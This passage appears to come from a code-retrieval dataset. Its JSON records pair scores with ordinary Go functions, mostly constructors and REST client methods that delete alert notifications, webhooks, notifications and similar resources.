err)\n\t}\n\tlog.Infof(\"Using temp dir %s\", tmpDir)\n\t// Need to setup logging here\n\treturn &testInfo{\n\t\tTestID: testID,\n\t\tRunID: id,\n\t\tTempDir: tmpDir,\n\t}, nil\n}", "title": "" }, { "docid": "9a5670390e5f8599e39182e79bd8b7a7", "score": "0.44149536", "text": "func newImporter(source string) types.Importer {\n\treturn &customImporter{\n\t\tsource: source,\n\t\timported: make(map[string]*types.Package),\n\t\tbase: importer.Default(),\n\t\tskipTestFiles: true,\n\t}\n}", "title": "" }, { "docid": "9ae2b2f66f84bf796918d9191d6630c7", "score": "0.44125974", "text": "func newInput(id int, lc eal.LCore, demuxPrep *demuxPreparer) (fwi *Input, e error) {\n\tsocket := lc.NumaSocket()\n\tfwi = &Input{\n\t\tid: id,\n\t\trxl: iface.NewRxLoop(socket),\n\t}\n\tfwi.rxl.SetLCore(lc)\n\n\tdemuxPrep.Prepare(fwi, socket)\n\treturn fwi, nil\n}", "title": "" }, { "docid": "5d873eef1813fe5ffcd33cbf580542d1", "score": "0.4412356", "text": "func newLex(input string) *lexer {\n\tl := &lexer{\n\t\tinput: input,\n\t\titems: make(chan lexedItem),\n\t}\n\tgo l.run()\n\treturn l\n}", "title": "" }, { "docid": "0c43d6c93e674bdd60be67a84d7c6252", "score": "0.44106787", "text": "func newTestLister(t *testing.T) *testLister {\n\treturn &testLister{\n\t\tt: t,\n\t\talbums: newAlbums(),\n\t\tuploaded: dirtree.New(),\n\t}\n}", "title": "" }, { "docid": "596c11acfa6588b2f9c56a295691f8bc", "score": "0.44102484", "text": "func init() {\n\texperiments = make(map[string]DataFiles)\n\tprivateExp = make(map[string]map[string]DataFiles)\n}", "title": "" }, { "docid": "eb06d3c217c074732e107aab75e9be60", "score": "0.4410121", "text": "func newDecoder(br io.ByteReader, state *state, dict *decoderDict, size int64) (d *decoder, err error) {\n\trd, err := newRangeDecoder(br)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\td = &decoder{\n\t\tState: state,\n\t\tDict: dict,\n\t\trd: rd,\n\t\tsize: size,\n\t\tstart: dict.pos(),\n\t}\n\treturn d, nil\n}", "title": "" }, { "docid": "7c6e8699f91cc27c597de1ce33c1eb01", "score": "0.44060016", "text": "func (ed *Experiment) newInputLoader(inputPolicy model.InputPolicy) inputLoader {\n\tif ed.newInputLoaderFn != nil {\n\t\treturn ed.newInputLoaderFn(inputPolicy)\n\t}\n\treturn &engine.InputLoader{\n\t\tCheckInConfig: &model.OOAPICheckInConfig{\n\t\t\tRunType: model.RunTypeManual,\n\t\t\tOnWiFi: true, // meaning: not on 4G\n\t\t\tCharging: true,\n\t\t},\n\t\tExperimentName: ed.Name,\n\t\tInputPolicy: inputPolicy,\n\t\tStaticInputs: ed.Inputs,\n\t\tSourceFiles: ed.InputFilePaths,\n\t\tSession: ed.Session,\n\t}\n}", "title": "" }, { "docid": "9249f27c7569d1df45028db098567f26", "score": "0.44043934", "text": "func (m *MyPlugin) Extract(req sdk.ExtractRequest, evt sdk.EventReader) error {\n\tswitch req.FieldID() {\n\tcase 0:\n\t\treq.SetValue(uint64(time.Now().UnixNano()))\n\t\treturn nil\n\tdefault:\n\t\treturn fmt.Errorf(\"unsupported field: %s\", req.Field())\n\t}\n}", "title": "" }, { "docid": "ea383fcbca116da01af41c48b4486bf1", "score": "0.4401121", "text": "func newActionParser(r io.Reader) *actionParser {\n\treturn &actionParser{\n\t\tr: bufio.NewReader(r),\n\t\ts: make(stack, 0),\n\t}\n}", "title": "" }, { "docid": "ad73925f312c8f16cf54a6515eec4670", "score": "0.44001043", "text": "func (d HelpDeepLinkInfo) construct() HelpDeepLinkInfoClass { return &d }", "title": "" }, { "docid": "7fbec7f6e0f95bcd7d862c71ad598c8b", "score": "0.4398541", "text": "func newPredicateCache(state *predicateState) predicateCache {\n\treturn predicateCache{\n\t\tstate: state,\n\t\tgen: 0,\n\t\tresp: predicateResponse_needMore,\n\t}\n}", "title": "" }, { "docid": "827a919d08c2ce1211c9e87783a20fba", "score": "0.4397769", "text": "func NewTransformation(ctx context.Context, uri string) (webhookd.WebhookTransformation, error) {\n\n\terr := ensureTransformationRoster()\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to ensure transformation roster, %w\", err)\n\t}\n\n\tparsed, err := url.Parse(uri)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to parse URI, %w\", err)\n\t}\n\n\tscheme := parsed.Scheme\n\n\ti, err := transformations.Driver(ctx, scheme)\n\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to find initialization function for '%s', %w\", scheme, err)\n\t}\n\n\tinit_func := i.(TransformationInitializationFunc)\n\treturn init_func(ctx, uri)\n}", "title": "" } ]
19241d94b98224d2c16e529d528c0e06
DeleteAlertNotificationID deletes the specified alert notification channel. Reflects DELETE /api/alertnotifications/:id API call.
[ { "docid": "6a551396c3b4a17d63a873bde8419a5e", "score": "0.81714094", "text": "func (c *Client) DeleteAlertNotificationID(ctx context.Context, id uint) error {\n\tvar (\n\t\traw []byte\n\t\tcode int\n\t\terr error\n\t)\n\tif raw, code, err = c.delete(ctx, fmt.Sprintf(\"api/alert-notifications/%d\", id)); err != nil {\n\t\treturn err\n\t}\n\tif code != 200 {\n\t\treturn fmt.Errorf(\"HTTP error %d: returns %s\", code, raw)\n\t}\n\treturn nil\n}", "title": "" } ]
[ { "docid": "a579639ba914857fc1a2eabd3ab2506b", "score": "0.74015546", "text": "func DeleteAlertID(ctx *Context) {\n\tid := ctx.Params(\":id\")\n\tlog.Debugf(\"Trying to delete: %+v\", id)\n\taffected, err := agent.MainConfig.Database.DelAlertIDCfg(id)\n\tif err != nil {\n\t\tlog.Warningf(\"Error on delete1 for device %s , affected : %+v , error: %s\", id, affected, err)\n\t\tctx.JSON(404, err.Error())\n\t} else {\n\t\tctx.JSON(200, \"deleted\")\n\t}\n}", "title": "" }, { "docid": "1918abe3723a0669f736a3d23cb616f5", "score": "0.6949094", "text": "func (c *Client) DeleteNotification(id int) error {\n\treturn c.doRequest(http.MethodDelete, fmt.Sprintf(\"notifications/%d\", id), nil, nil)\n}", "title": "" }, { "docid": "0a955a78badd1b584ef6e6c11d59ca77", "score": "0.6686216", "text": "func (c *Client) DeleteNotificationById(id string) errors.EdgeX {\n\tconn := c.Pool.Get()\n\tdefer conn.Close()\n\n\tedgeXerr := deleteNotificationById(conn, id)\n\tif edgeXerr != nil {\n\t\treturn errors.NewCommonEdgeX(errors.Kind(edgeXerr), fmt.Sprintf(\"fail to delete the notification with id %s\", id), edgeXerr)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "48de06f521b33c0407c430a2a43db312", "score": "0.6631483", "text": "func (c *Client) DeleteAlertNotificationUID(ctx context.Context, uid string) error {\n\tvar (\n\t\traw []byte\n\t\tcode int\n\t\terr error\n\t)\n\tif raw, code, err = c.delete(ctx, fmt.Sprintf(\"api/alert-notifications/uid/%s\", uid)); err != nil {\n\t\treturn err\n\t}\n\tif code != 200 {\n\t\treturn fmt.Errorf(\"HTTP error %d: returns %s\", code, raw)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "c9c52a7b297dd147a2787711684bf2b9", "score": "0.6628356", "text": "func (c *Client) DeleteAlert(ctx context.Context, id string) (bool, error) {\n\tpath := fmt.Sprintf(alertDeletePath, id)\n\n\treq, err := c.NewRequest(\"DELETE\", path, nil, nil)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\tif err := c.Do(ctx, req, nil); err != nil {\n\t\treturn false, err\n\t}\n\n\treturn true, nil\n}", "title": "" }, { "docid": "bef08456067a75c578ca023cf6f4082a", "score": "0.6325108", "text": "func (notfRepo *NotificationRepositoryImpl) DeleteNotification(id uint) (*entity.Notification, []error) {\n\n\tnotification, errs := notfRepo.ViewNotification(id)\n\n\tif len(errs) > 0 {\n\t\treturn nil, errs\n\t}\n\n\terrs = notfRepo.db.Delete(notification, id).GetErrors()\n\tif len(errs) > 0 {\n\t\treturn nil, errs\n\n\t}\n\treturn notification, nil\n}", "title": "" }, { "docid": "619d36870eea5bad4d62bea734a3e2d6", "score": "0.6281323", "text": "func (dbc *DatabaseCfg) DelAlertIDCfg(id string) (int64, error) {\n\tvar affecteddev, affectedouts, affected int64\n\tvar err error\n\n\tsession := dbc.x.NewSession()\n\tdefer session.Close()\n\n\taffecteddev, err = session.Where(\"kapacitorid='\" + id + \"'\").Cols(\"kapacitorid\").Update(&AlertIDCfg{})\n\tif err != nil {\n\t\tsession.Rollback()\n\t\treturn 0, fmt.Errorf(\"Error on Delete Alert with id on delete AlertIDCfg with id: %s, error: %s\", id, err)\n\t}\n\n\t//first deleting references in AlertHTTPOutRel\n\taffectedouts, err = session.Where(\"alert_id='\" + id + \"'\").Delete(&AlertHTTPOutRel{})\n\tif err != nil {\n\t\tsession.Rollback()\n\t\treturn 0, fmt.Errorf(\"Error on Delete Device with id on delete AlertHTTPOutRel with id: %s, error: %s\", id, err)\n\t}\n\n\taffected, err = session.Where(\"id='\" + id + \"'\").Delete(&AlertIDCfg{})\n\tif err != nil {\n\t\tsession.Rollback()\n\t\treturn 0, err\n\t}\n\n\terr = session.Commit()\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tlog.Infof(\"Deleted Successfully Alert with ID %s [ %d Affected alerts ] [%d affected Outs]\", id, affecteddev, affectedouts)\n\tdbc.addChanges(affected + affecteddev + affectedouts)\n\treturn affected, nil\n}", "title": "" }, { "docid": "7575223e9d76b0f2aa6b6b8eace91f72", "score": "0.62761855", "text": "func (client *Client) DeleteEventNotification(\n\tctx context.Context, id string,\n) (*ErrorInfo, error) {\n\tif id == \"\" {\n\t\treturn nil, errors.New(\"id is empty\")\n\t}\n\treturn client.callDelete(ctx, client.Endpoints().EventNotification(id), nil, nil)\n}", "title": "" }, { "docid": "cf8fba20522121fe3e70b39b5d39167c", "score": "0.6179885", "text": "func (c *Client) DeleteAlertNotifier(ctx context.Context, alertID string, notifierID string) (bool, error) {\n\treturn c.toggleAlertNotifier(ctx, \"DELETE\", alertID, notifierID)\n}", "title": "" }, { "docid": "b38c845ac7969df6b0ef02ea7849bc41", "score": "0.6022727", "text": "func (cli *Client) SlackNotificationDelete(notf Notification) error {\n\tpayload, err := json.Marshal(notf)\n\tif err != nil {\n\t\treturn err\n\t}\n\trequest := cli.gorequest\n\trequest.Set(\"Authorization\", \"Bearer \"+cli.token)\n\tapiPath := fmt.Sprintf(\"/api/v1/settings/notifiers/Slack\")\n\tresp, _, errs := request.Clone().Put(cli.url + apiPath).Send(string(payload)).End()\n\tif errs != nil {\n\t\treturn errors.Wrap(err, \"failed deleting Slack notification\")\n\t}\n\tif resp.StatusCode != 201 || resp.StatusCode != 204 {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "76fada746281df9596061cd29a179b0e", "score": "0.5971482", "text": "func (api *API) DeleteNotificationPolicy(ctx context.Context, accountID, policyID string) (SaveResponse, error) {\n\tbaseURL := fmt.Sprintf(\"/accounts/%s/alerting/v3/policies/%s\", accountID, policyID)\n\n\tres, err := api.makeRequestContext(ctx, http.MethodDelete, baseURL, nil)\n\tif err != nil {\n\t\treturn SaveResponse{}, err\n\t}\n\treturn unmarshalNotificationSaveResponse(res)\n}", "title": "" }, { "docid": "8bed9b45364b0644b5147084f0c67d64", "score": "0.5717486", "text": "func (a *Client) DeleteCloudProjectServiceNameAlertingID(params *DeleteCloudProjectServiceNameAlertingIDParams, authInfo runtime.ClientAuthInfoWriter) (*DeleteCloudProjectServiceNameAlertingIDOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteCloudProjectServiceNameAlertingIDParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"DeleteCloudProjectServiceNameAlertingID\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/cloud/project/{serviceName}/alerting/{id}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteCloudProjectServiceNameAlertingIDReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result.(*DeleteCloudProjectServiceNameAlertingIDOK), nil\n\n}", "title": "" }, { "docid": "008da32a09986b20b9c24891f4fdcbba", "score": "0.56369233", "text": "func DeleteAlertEventHist(ctx *Context) {\n\tid := ctx.Params(\":id\")\n\tlog.Debugf(\"DeleteAlertEventHist. Trying to delete: %+v\", id)\n\taffected, err := agent.MainConfig.Database.DelAlertEventHist(id)\n\tif err != nil {\n\t\tlog.Warningf(\"Error deleting alert event %s, affected: %+v, error: %s\", id, affected, err)\n\t\tctx.JSON(404, err.Error())\n\t} else {\n\t\tctx.JSON(200, \"deleted\")\n\t}\n}", "title": "" }, { "docid": "c7b7f8b68aef99790da4f7ebd9a48df5", "score": "0.56340235", "text": "func (s *SQLAlertStore) Delete(ctx context.Context, id int) error {\n\tnow := time.Now().Unix()\n\tif _, err := s.preparedStatements[deleteAlert].ExecContext(ctx, now, id); err != nil {\n\t\treturn skerr.Wrapf(err, \"Failed to mark Alert as deleted with ID=%d\", id)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "4da2f8c310d59db091258020c386f1d1", "score": "0.5602841", "text": "func (r *AlertRequest) Delete(ctx context.Context) error {\n\treturn r.JSONRequest(ctx, \"DELETE\", \"\", nil, nil)\n}", "title": "" }, { "docid": "63f41892d5ceabe56159b06e00030b40", "score": "0.55856305", "text": "func (api *API) DeleteNotificationWebhooks(ctx context.Context, accountID, webhookID string) (SaveResponse, error) {\n\tbaseURL := fmt.Sprintf(\"/accounts/%s/alerting/v3/destinations/webhooks/%s\", accountID, webhookID)\n\n\tres, err := api.makeRequestContext(ctx, http.MethodDelete, baseURL, nil)\n\tif err != nil {\n\t\treturn SaveResponse{}, err\n\t}\n\n\treturn unmarshalNotificationSaveResponse(res)\n}", "title": "" }, { "docid": "1fa68c05249dd9cc953be499659c7b0f", "score": "0.5552053", "text": "func (c *Client) GetAlertNotificationID(ctx context.Context, id uint) (AlertNotification, error) {\n\tvar (\n\t\traw []byte\n\t\tan AlertNotification\n\t\tcode int\n\t\terr error\n\t)\n\tif raw, code, err = c.get(ctx, fmt.Sprintf(\"api/alert-notifications/%d\", id), nil); err != nil {\n\t\treturn an, err\n\t}\n\tif code != 200 {\n\t\treturn an, fmt.Errorf(\"HTTP error %d: returns %s\", code, raw)\n\t}\n\terr = json.Unmarshal(raw, &an)\n\treturn an, err\n}", "title": "" }, { "docid": "e38c99b7fda38992d8a9f31af5dcf04b", "score": "0.55276394", "text": "func (s *WebhooksService) Delete(id int) (*Response, error) {\n\turi := fmt.Sprintf(\"/webhooks/%v\", id)\n\treq, err := s.client.NewRequest(http.MethodDelete, uri, nil, nil)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn s.client.Do(req, nil)\n}", "title": "" }, { "docid": "29410b65e548c090cd68f588648dce88", "score": "0.55232835", "text": "func (c *AlertClient) DeleteOneID(id int) *AlertDeleteOne {\n\treturn &AlertDeleteOne{c.Delete().Where(alert.ID(id))}\n}", "title": "" }, { "docid": "69fd4ed8a99a4ea98f77072d3047d526", "score": "0.5483938", "text": "func (client *Client) ExtensionDeleteWithID(ctx context.Context, id string, version int, opts ...RequestOption) (result *Extension, err error) {\n\tparams := url.Values{}\n\tparams.Set(\"version\", strconv.Itoa(version))\n\n\tfor _, opt := range opts {\n\t\topt(&params)\n\t}\n\tendpoint := fmt.Sprintf(\"extensions/%s\", id)\n\terr = client.delete(ctx, endpoint, params, &result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "4578b2e03b3b3679a0fe868aaa86e6a7", "score": "0.53867704", "text": "func (c *Client) DeleteNotificationGroup(id string) (*NotificationGroup, error) {\n\treq, err := http.NewRequest(\n\t\t\"DELETE\",\n\t\tc.urlFor(fmt.Sprintf(\"/api/v0/notification-groups/%s\", id)).String(),\n\t\tnil,\n\t)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Add(\"Content-Type\", \"application/json\")\n\n\tresp, err := c.Request(req)\n\tdefer closeResponse(resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar notificationGroup NotificationGroup\n\tif err := json.NewDecoder(resp.Body).Decode(&notificationGroup); err != nil {\n\t\treturn nil, err\n\t}\n\treturn &notificationGroup, nil\n}", "title": "" }, { "docid": "634b2a23a75ee71f812451b6433de2d0", "score": "0.5376886", "text": "func (s *WebhookServiceOp) Delete(ID int64) error {\n\treturn s.client.Delete(fmt.Sprintf(\"%s/%d.json\", webhooksBasePath, ID))\n}", "title": "" }, { "docid": "2b4b14907d1ac21dbbee4b02d74b0a7d", "score": "0.53687966", "text": "func (c *Client) DeleteAttachment(id int) error {\n\tb, status, err := c.request(fmt.Sprintf(\"/attachments/%d\", id), \"DELETE\", url.Values{})\n\tif err != nil {\n\t\treturn err\n\t}\n\tif status != http.StatusNoContent {\n\t\treturn handleError(b)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "27e4e1981252dd59a6eb83a66032bfa5", "score": "0.53594804", "text": "func (a *Client) DeleteRepoNotification(params *DeleteRepoNotificationParams, authInfo runtime.ClientAuthInfoWriter) (*DeleteRepoNotificationNoContent, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteRepoNotificationParams()\n\t}\n\n\tresult, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"deleteRepoNotification\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/api/v1/repository/{repository}/notification/{uuid}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteRepoNotificationReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*DeleteRepoNotificationNoContent)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for deleteRepoNotification: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "title": "" }, { "docid": "a8f0e60dd135047cf886896c0ebf9be2", "score": "0.5357369", "text": "func (r *Repo) Delete(ctx context.Context, id string) error {\n\tsplitedID := strings.Split(id, \"-\")\n\tif len(splitedID) != 2 {\n\t\tr.logger.Log(\n\t\t\t\"message\", \"invalid id\",\n\t\t\t\"id\", id,\n\t\t)\n\t\treturn errors.New(\"invalid id\")\n\t}\n\tunixNano, err := strconv.ParseInt(splitedID[0], 10, 64)\n\tif err != nil {\n\t\tr.logger.Log(\n\t\t\t\"message\", \"failed ParseInt id\",\n\t\t\t\"error\", err,\n\t\t\t\"id\", id,\n\t\t)\n\t\treturn err\n\t}\n\n\t// validate expiration\n\t// if expired delete and ignore errors\n\tif time.Now().Before(time.Unix(0, unixNano)) {\n\t\treturn errors.New(\"file did not expire yet\")\n\t}\n\t_, err = r.client.Del(ctx, id).Result()\n\treturn err\n}", "title": "" }, { "docid": "172e6da77fdbb719ef900d025856be23", "score": "0.53567433", "text": "func Delete(c *gin.Context) {\n\tid, err := strconv.ParseInt(c.DefaultQuery(\"id\", \"1\"), 10, 16)\n\tif err != nil {\n\t\tc.JSON(400, err)\n\t\treturn\n\t}\n\tdb := connection.CreateConnection()\n\tdb.MustExec(\"DELETE FROM \"+table+\" WHERE tokennotification = ($1)\", id)\n\tdefer db.Close()\n\n\tif err != nil {\n\t\tc.JSON(400, err)\n\t\treturn\n\t}\n\n\tc.JSON(200, \"OK\")\n}", "title": "" }, { "docid": "3ec16dbbf5d4e721e5e20dcb92563d56", "score": "0.53395444", "text": "func DeleteNotification(db database.DB, o *NotificationsQuery) error {\n\tincludeUser, includeApp, includeObject := includeTable(o)\n\to, err := queryAllowed(db, o)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tocNames, ocValues := extractQueryBasics(o)\n\n\tif o.User != nil && *o.User != \"*\" {\n\t\tocNames = append(ocNames, \"user\")\n\t\tocValues = append(ocValues, *o.User)\n\t}\n\n\tif includeUser {\n\t\tqueryWhere := strings.Join(ocNames, \"=? AND \") + \"=?\"\n\t\tqstring := fmt.Sprintf(\"DELETE FROM notifications_user WHERE %s\", queryWhere)\n\t\t_, err := db.AdminDB().Exec(qstring, ocValues...)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif o.App != nil && *o.App != \"*\" {\n\t\tocNames = append(ocNames, \"app\")\n\t\tocValues = append(ocValues, *o.App)\n\t}\n\n\tif includeApp {\n\t\tqueryWhere := strings.Join(ocNames, \"=? AND \") + \"=?\"\n\t\tqstring := fmt.Sprintf(\"DELETE FROM notifications_app WHERE %s\", queryWhere)\n\t\t_, err := db.AdminDB().Exec(qstring, ocValues...)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif o.Object != nil && *o.Object != \"*\" {\n\t\tocNames = append(ocNames, \"object\")\n\t\tocValues = append(ocValues, *o.Object)\n\t}\n\n\tif includeObject {\n\t\tqueryWhere := strings.Join(ocNames, \"=? AND \") + \"=?\"\n\t\tqstring := fmt.Sprintf(\"DELETE FROM notifications_object WHERE %s\", queryWhere)\n\t\t_, err := db.AdminDB().Exec(qstring, ocValues...)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n\n}", "title": "" }, { "docid": "695790e30725bdfafa5521dc23f70caf", "score": "0.5317024", "text": "func (s *AlertsService) Delete(ctx context.Context, opts AlertsDeleteOpts) (*models.DeleteAlertsResponse, *Response, error) {\n\tvar alerts models.DeleteAlertsResponse\n\tparams, err := qs.Values(opts)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tu := fmt.Sprintf(\"%s/alerts?%s\", s.client.URLPrefix, params.Encode())\n\n\treq, err := s.client.NewRequest(http.MethodDelete, u, nil)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tresp, err := s.client.Do(ctx, req, &alerts)\n\tif err != nil {\n\t\treturn nil, resp, err\n\t}\n\treturn &alerts, resp, nil\n}", "title": "" }, { "docid": "3bbd8049bed65c0598b3a6b2497213f0", "score": "0.5287848", "text": "func (m *DB) DeleteNotificationThread(id int64) error {\n\t_, err := m.db.Exec(\"DELETE FROM `notification_threads` WHERE id=?\", id)\n\treturn err\n}", "title": "" }, { "docid": "5e0cd722ab192ff42731e6362f774089", "score": "0.5274403", "text": "func (c *Client) DeleteEventById(id string) (edgeXerr errors.EdgeX) {\n\tconn := c.Pool.Get()\n\tdefer conn.Close()\n\n\tedgeXerr = deleteEventById(conn, id)\n\tif edgeXerr != nil {\n\t\treturn errors.NewCommonEdgeXWrapper(edgeXerr)\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "6a44d1ac00dfd141633f294cf19dcaef", "score": "0.5260067", "text": "func Delete(id string) error {\n\tlocation, err := findMessageLocation(id)\n\tif err != nil {\n\t\treturn err\n\t}\n\tremoveElementByLocation(location)\n\treturn nil\n}", "title": "" }, { "docid": "9df4694ec08508948e42be71966147e2", "score": "0.5258654", "text": "func (a *Client) DeleteRestapiV10AccountAccountIDExtensionExtensionIDAnsweringRuleAnsweringRuleID(params *DeleteRestapiV10AccountAccountIDExtensionExtensionIDAnsweringRuleAnsweringRuleIDParams, authInfo runtime.ClientAuthInfoWriter) error {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewDeleteRestapiV10AccountAccountIDExtensionExtensionIDAnsweringRuleAnsweringRuleIDParams()\n\t}\n\n\t_, err := a.transport.Submit(&runtime.ClientOperation{\n\t\tID: \"DeleteRestapiV10AccountAccountIDExtensionExtensionIDAnsweringRuleAnsweringRuleID\",\n\t\tMethod: \"DELETE\",\n\t\tPathPattern: \"/restapi/v1.0/account/{accountId}/extension/{extensionId}/answering-rule/{answeringRuleId}\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"https\"},\n\t\tParams: params,\n\t\tReader: &DeleteRestapiV10AccountAccountIDExtensionExtensionIDAnsweringRuleAnsweringRuleIDReader{formats: a.formats},\n\t\tAuthInfo: authInfo,\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n\n}", "title": "" }, { "docid": "32ef7a09302f96115b80775acb2c5647", "score": "0.52538407", "text": "func (r *AlertLCDResource) Delete(id string) error {\n\tif err := r.c.ModQuery(\"DELETE\", BasePath+AlertLCDEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dc2faf371ac9bc4cfbf2c3b8905aa752", "score": "0.5221805", "text": "func (repo *lineNotificationRepository) Delete(ctx context.Context, id string) error {\n\treturn repo.PersistenceHandler.Delete(ctx, &LineNotification{ID: id})\n}", "title": "" }, { "docid": "4cc362154a81e7662ec4d6aa81926a20", "score": "0.5182483", "text": "func (o *FAXDeliveryReceiptAutomationDeleteParams) WithReceiptRuleID(receiptRuleID int32) *FAXDeliveryReceiptAutomationDeleteParams {\n\to.SetReceiptRuleID(receiptRuleID)\n\treturn o\n}", "title": "" }, { "docid": "9c9da22f92cc403a78c312d5503b3fc6", "score": "0.51766765", "text": "func (api *API) deleteAlertDefinitionEndpoint(c *models.ReqContext) response.Response {\n\talertDefinitionUID := c.Params(\":alertDefinitionUID\")\n\n\tcmd := ngmodels.DeleteAlertDefinitionByUIDCommand{\n\t\tUID: alertDefinitionUID,\n\t\tOrgID: c.SignedInUser.OrgId,\n\t}\n\n\tif err := api.Store.DeleteAlertDefinitionByUID(&cmd); err != nil {\n\t\treturn response.Error(500, \"Failed to delete alert definition\", err)\n\t}\n\n\treturn response.Success(\"Alert definition deleted\")\n}", "title": "" }, { "docid": "3175cd856d206d426d740a3662cf237a", "score": "0.5168845", "text": "func (ng *AlertNG) deleteAlertDefinitionEndpoint(c *models.ReqContext) response.Response {\n\talertDefinitionUID := c.Params(\":alertDefinitionUID\")\n\n\tcmd := deleteAlertDefinitionByUIDCommand{\n\t\tUID: alertDefinitionUID,\n\t\tOrgID: c.SignedInUser.OrgId,\n\t}\n\n\tif err := ng.deleteAlertDefinitionByUID(&cmd); err != nil {\n\t\treturn response.Error(500, \"Failed to delete alert definition\", err)\n\t}\n\n\treturn response.Success(\"Alert definition deleted\")\n}", "title": "" }, { "docid": "032634aec8ec11f0d2860f6fc973a517", "score": "0.51460344", "text": "func (e *EventRestClient) Delete(id string, ctx context.Context) error {\n\treturn clients.DeleteRequest(e.url+\"/id/\"+id, ctx)\n}", "title": "" }, { "docid": "6b5c7094157c4680c0867a6e50615784", "score": "0.51413643", "text": "func (client *Client) DeleteStreamAlertCondition(streamID, id string) (*ErrorInfo, error) {\n\treturn client.DeleteStreamAlertConditionContext(context.Background(), streamID, id)\n}", "title": "" }, { "docid": "cf0aae7b607101c508723eeabba91bcd", "score": "0.51022923", "text": "func (o *DeleteOrderIDInternalServerError) WithPayload(payload *models.StatusResponse) *DeleteOrderIDInternalServerError {\n\to.Payload = payload\n\treturn o\n}", "title": "" }, { "docid": "2680ec40515139b9579192fea9abb13f", "score": "0.50953966", "text": "func (client *Client) WebhookDelete(project_id, id string) error {\n\n\terr := func() error {\n\n\t\turl := fmt.Sprintf(\"/v2/projects/%s/webhooks/%s\", url.QueryEscape(project_id), url.QueryEscape(id))\n\n\t\trc, err := client.sendRequest(\"DELETE\", url, \"\", nil, 204)\n\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer rc.Close()\n\n\t\treturn nil\n\t}()\n\treturn err\n}", "title": "" }, { "docid": "d9ff129b743dcc27325c1439123a8006", "score": "0.5078346", "text": "func resourceAlertV2Delete(d *schema.ResourceData, m interface{}) error {\n\tclient := alertClient(m)\n\talertId, _ := utils.IdFromResourceData(d)\n\terr := client.DeleteAlert(alertId)\n\treturn err\n}", "title": "" }, { "docid": "0edd903f943ba6576152d738da7d793e", "score": "0.5051039", "text": "func (client *Client) ChannelDeleteWithID(ctx context.Context, id string, version int, opts ...RequestOption) (result *Channel, err error) {\n\tparams := url.Values{}\n\tparams.Set(\"version\", strconv.Itoa(version))\n\n\tfor _, opt := range opts {\n\t\topt(&params)\n\t}\n\tendpoint := fmt.Sprintf(\"channels/%s\", id)\n\terr = client.delete(ctx, endpoint, params, &result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "cadb3f1fea7bd86d4b2a1fe3813a11e3", "score": "0.50213605", "text": "func (r *CryptoCheckCertResource) Delete(id string) error {\n\tif err := r.c.ModQuery(\"DELETE\", BasePath+CryptoCheckCertEndpoint+\"/\"+id, nil); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "caa788f56123b6841bc88e30ca61eb74", "score": "0.5020393", "text": "func (c *Client) DeleteMessage(id int) error {\n\tb, status, err := c.request(fmt.Sprintf(\"/messages/%d\", id), \"DELETE\", url.Values{})\n\tif err != nil {\n\t\treturn err\n\t}\n\tif status != http.StatusNoContent {\n\t\treturn 